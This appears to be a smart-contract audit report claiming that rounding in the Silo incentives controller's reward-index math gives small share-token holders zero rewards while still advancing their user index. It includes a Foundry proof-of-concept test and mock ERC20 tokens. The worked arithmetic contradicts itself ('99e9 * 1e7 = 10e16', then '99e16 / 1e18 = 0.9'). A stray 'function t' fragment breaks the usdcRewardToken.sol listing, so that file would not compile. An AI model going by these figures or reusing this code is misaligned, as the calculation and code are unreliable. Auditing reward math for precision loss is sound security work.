/// @param _notifier The notifier (expected to be a hook receiver address).
/// @param _siloShareToken The share token that is incentivized.
```

This means that the Notifier share token is nothing but the collateral share token of the silo vault, meaning if the asset of the Silo is USDC (6 decimals), then the silo collateral share token will be of 9 decimals (6 + 3 , as we know this is the logic written in the decimal function of the codebase of silo share collateral token). So the example taken here with Notifier Share token of `1e9` decimal and the reward token example with usdc, is correct and considerable.

Finding Description: when a user calls the claimRewards function, the internal flow later execute function _getIncentivesProgramIndex and _getRewards.

The `_getIncentivesProgramIndex` Calculates the new value of a specific program index:

```
function _getIncentivesProgramIndex(
    uint256 currentIndex,
    uint256 emissionPerSecond,
    uint256 lastUpdateTimestamp,
    uint256 distributionEnd,
    uint256 totalBalance
) internal view virtual returns (uint256 newIndex) {
    if (emissionPerSecond == 0 || totalBalance == 0 || lastUpdateTimestamp == block.timestamp ||
    ↪  lastUpdateTimestamp >= distributionEnd) {
        return currentIndex;
    }

    uint256 currentTimestamp = block.timestamp > distributionEnd ? distributionEnd : block.timestamp;
    uint256 timeDelta = currentTimestamp - lastUpdateTimestamp;

    newIndex = emissionPerSecond * timeDelta * TEN_POW_PRECISION; // <<<

    unchecked { newIndex /= totalBalance; }
    newIndex += currentIndex;
}
```

and the `_getRewards` function calculates user rewards based on user's balance of Notifier Share Token and the difference between the new reward index and old user index:

```
function _getRewards(
    uint256 principalUserBalance,
    uint256 reserveIndex,
    uint256 userIndex
) internal pure virtual returns (uint256 rewards) {

    rewards = principalUserBalance * (reserveIndex - userIndex); // <<<

    //@audit can be zero
    unchecked { rewards /= TEN_POW_PRECISION; } // <<<
}
```

- Consider a scenario:
- newIndex = emissionPerSecond * timeDelta * TEN_POW_PRECISION;.
- unchecked { newIndex /= totalBalance;}.

Example Calculation:

```
Given values:
emissionPerSecond = 1e6 (reward token usdc = 1e6)
timeDelta = 1 second
TEN_POW_PRECISION = 1e18
newIndex = 1e6 * 1 * 1e18
         => 1000000000000000000000000 (1e24)
```

Now, divide `newIndex` by the total supply (100 million) of the Notifier share token:

```
totalBalance = 100000000e9
newIndex = (1e24) / 100000000e9
         => (1e7)
```

User Reward Calculation:

```
function _getRewards(
    uint256 principalUserBalance,
    uint256 reserveIndex,
    uint256 userIndex
) internal pure virtual returns (uint256 rewards) {
    rewards = principalUserBalance * (reserveIndex - userIndex);
    //@audit can be zero
    unchecked { rewards /= TEN_POW_PRECISION; } // <<<
}
```

Given values:

```
principalUserBalance = 99e9 (99 Notifier share tokens user balance)
reserveIndex = (1e7)
userIndex = 0  (since it's the user's first claim)
```

Calculating rewards:

```
rewards =  99e9 * 1e7  = 10e16
```

Now, dividing rewards by pTEN_POW_PRECISION', as per formula in the code:

```
rewards = 99e16 / 1e18  = 0.9
```

And as we know in solidity due to truncation, it will round of to `0`.

- Now every user who is holding share tokens less than `100` (with decimals 100e9) , will get `0` rewards for that program index.
- And that user index will now be also updated to 1e7 (which was first 0 for the first time)'. on this line incentivesPrograms[incentivesProgramId].users[user] = newIndex;.
- Now this is a direct loss of funds to that user, because his user index got updated, without him getting any reward, this is a permanent loss to the user as now he will not be able to claim rewards for that index again and this time also he got no reward for that program index and his user index can also be indirectly called as a wasted user index.

Impact Explanation: HIGH impact -- because this is direct loss of funds to the user, because his user index got updated, without him getting any reward, this is a permanent loss to the user as now he will not be able to claim rewards for that index again and this time also he got no reward for that program index and his user index can also be indirectly called as a wasted user index. As per this example shown above all user who have less than 100e9 Notifier share tokens will get 0 rewards (even tho they are holding the share token they are not getting any reward).

Note: Here we have taken this particular example in order to prove the issue, but this issue can occur with multiple different instances and examples, so this is not the only case here, there are multiple cases.

Likelihood Explanation: The likelihood of this issue occurring is high/Medium, because in the systems with a high total supply of Notifier share token, this issue can occur as many users may have balances below the threshold of getting atleast more than 0 rewards. Additionally, the issue is inherent to the reward calculation logic and will occur whenever the conditions are met.

Proof of Concept: The exact same example discussed above is written in proof of concept.

- `SiloIncentivesController.t.sol`:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {Ownable} from "openzeppelin5/access/Ownable.sol";
import {ERC20Mock} from "openzeppelin5/mocks/token/ERC20Mock.sol";
import {Notifier_Token} from "./Notifier_Token.sol";
import {usdcRewardToken} from "./usdcRewardToken.sol";
import {Strings} from "openzeppelin5/utils/Strings.sol";
import {SiloIncentivesControllerFactory} from
↪  "silo-core/contracts/incentives/SiloIncentivesControllerFactory.sol";
import {SiloIncentivesControllerFactoryDeploy} from
↪  "silo-core/deploy/SiloIncentivesControllerFactoryDeploy.s.sol";
import {SiloIncentivesController} from "silo-core/contracts/incentives/SiloIncentivesController.sol";
import {DistributionTypes} from "silo-core/contracts/incentives/lib/DistributionTypes.sol";
import {ISiloIncentivesController} from
↪  "silo-core/contracts/incentives/interfaces/ISiloIncentivesController.sol";
import {IDistributionManager} from "silo-core/contracts/incentives/interfaces/IDistributionManager.sol";
import "forge-std/console2.sol";

contract SiloIncentivesControllerTest is Test {
    SiloIncentivesController internal _controller;

    address internal _owner = makeAddr("Owner");
    address internal _notifier;
    address internal _rewardToken;
    address internal Test_usdcRewardToken;
    address internal Test_NotifierSiloShareToken;

    address internal user1 = makeAddr("User1");
    address internal user2 = makeAddr("User2");
    address internal user3 = makeAddr("User3");

    uint256 internal constant _PRECISION = 10 ** 18;
    uint256 internal constant _TOTAL_SUPPLY = 1000e18;
    uint256 internal constant _TEST_TOTAL_SUPPLY = 99999901e9; // (100M - 99e9) notifier token total
    ↪  supply
    string internal constant _PROGRAM_NAME = "Test";
    string internal constant _PROGRAM_NAME_2 = "Test2";

    event IncentivesProgramCreated(string name);
    event IncentivesProgramUpdated(string name);
    event ClaimerSet(address indexed user, address indexed claimer);

    function setUp() public {
        _rewardToken = address(new ERC20Mock());
        _notifier = address(new ERC20Mock());

        //* TEST_TOKENS

        Test_usdcRewardToken = address(new usdcRewardToken());
        Test_NotifierSiloShareToken = address(new Notifier_Token());

        SiloIncentivesControllerFactoryDeploy deployer = new SiloIncentivesControllerFactoryDeploy();
        deployer.disableDeploymentsSync();

        SiloIncentivesControllerFactory factory = deployer.run();

        _controller = SiloIncentivesController(factory.create(_owner, Test_NotifierSiloShareToken));

        assertTrue(factory.isSiloIncentivesController(address(_controller)), "expected controller
        ↪  created in factory");
    }

    function test_PoC_rewardsCalculationPrecisionLoss() public {

        // Mint rewards to controller contract so that ut can give to users
        usdcRewardToken(Test_usdcRewardToken).mint(address(_controller), 1000e6); // 1000 USDC

        // Setup share token with 9 decimals
        Notifier_Token(Test_NotifierSiloShareToken).mint(address(this), _TEST_TOTAL_SUPPLY); // 100M
        ↪  total supply

        // Create incentives program with small emission rate
        vm.prank(_owner);
        _controller.createIncentivesProgram(
            DistributionTypes.IncentivesProgramCreationInput({
                name: _PROGRAM_NAME,
                rewardToken: Test_usdcRewardToken,
                distributionEnd: uint40(block.timestamp + 1000),
                emissionPerSecond: 1e6 // 1 USDC per second
            })
        );

        // User small amount balance of Notifier share token (99 tokens)
        uint256 smallUserDeposit = 99e9;
        Notifier_Token(Test_NotifierSiloShareToken).mint(user1, smallUserDeposit);
        uint256 totalSupply = Notifier_Token(Test_NotifierSiloShareToken).totalSupply(); // 100 Million

        //  index = old index
        vm.prank(Test_NotifierSiloShareToken);
        _controller.afterTokenTransfer({
            _sender: address(0),
            _senderBalance: 0,
            _recipient: user1,
            _recipientBalance: smallUserDeposit,
            _totalSupply: totalSupply,
            _amount: smallUserDeposit
        });

        uint256 programID_Index_Before = _controller.incentivesProgram(_PROGRAM_NAME).index;
        uint256 user1_Index_Before = _controller.getUserData(user1, _PROGRAM_NAME);
```

```
        // Program index before
        assertEq(programID_Index_Before, 0, "Error");
        console2.log("programID_Index_Before = ", programID_Index_Before);
        // User index was updated despite no rewards
        assertEq(user1_Index_Before, 0, "Error");
        console2.log("user1_Index_Before = ", user1_Index_Before);

        assertEq(usdcRewardToken(Test_usdcRewardToken).balanceOf(user1), 0, "Error");

        console2.log("User usdc reward token balance BEFORE claiming reward = ",
        ↪  usdcRewardToken(Test_usdcRewardToken).balanceOf(user1));

        // Move time forward
        vm.warp(block.timestamp + 1);

        // Check rewards - should be 0 due to precision loss
        // user1 claim rewards
        vm.prank(user1);
        _controller.claimRewards(user1);

        // user got no reward but still his index got updated as that of new index
        assertEq(usdcRewardToken(Test_usdcRewardToken).balanceOf(user1), 0, "Error");

        console2.log( "User usdc reward token balance AFTER claiming reward = ",
        ↪  usdcRewardToken(Test_usdcRewardToken).balanceOf(user1));

        uint256 programID_Index_After = _controller.incentivesProgram(_PROGRAM_NAME).index;
        uint256 user1_Index_After = _controller.getUserData(user1, _PROGRAM_NAME);

        // ProgramId new index was updated despite
        assertGt(programID_Index_After, 0, "Error");

        // User new index was updated despite no user got no rewards
        assertGt(user1_Index_After, 0, "Error");

        // showing that user's index and programId new index is same now, despite user got 0 reward,
        ↪  showcasing user's index is wasted as user got no reward but still the index was increased

        // User index and program index is increased same, even tho user got 0 reward
        assertEq(programID_Index_After, user1_Index_After, "Error");

        console2.log("programID_Index_After = ", programID_Index_After);
        console2.log("user1_Index_After = ", user1_Index_After);

    }
```

- Notifier_Token.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "openzeppelin5/token/ERC20/ERC20.sol";

contract Notifier_Token is ERC20 {
    constructor() ERC20("ERC20Mock", "E20M") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 9;
    }
}
```

- usdcRewardToken.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "openzeppelin5/token/ERC20/ERC20.sol";

contract usdcRewardToken is ERC20 {
    constructor() ERC20("ERC20Mock", "E20M") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }
function t
    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}
```

Recommendation: If the end reward calculated for the user comes to be 0 as shown in the above Issue example, then do not update the `UserIndex` of the user with new program index-> `[incentivesPrograms[incentivesProgramId].users[user] = newIndex;]` , a revert with msg saying not enough reward to claim can be most effective thing to do here.